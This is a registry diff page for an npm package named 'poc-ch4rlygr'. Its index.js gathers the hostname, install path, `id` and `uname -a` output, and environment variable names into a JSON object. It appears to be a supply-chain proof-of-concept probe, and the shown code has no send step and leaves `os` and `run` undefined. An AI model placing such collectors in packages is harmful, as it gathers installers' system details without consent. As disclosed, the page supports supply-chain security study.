poc-ch4rlygr 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +8 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ const data = JSON.stringify({
2
+ p: "poc-ch4rlygr", // Nombre del paquete
3
+ h: os.hostname(), // Nombre del equipo
4
+ d: __dirname, // Ruta donde se instaló
5
+ id: run("id"), // Usuario actual (Linux/Mac)
6
+ uname: run("uname -a"), // Información del sistema
7
+ env_keys: Object.keys(process.env).join(",") // Nombres de variables de entorno
8
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "poc-ch4rlygr",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }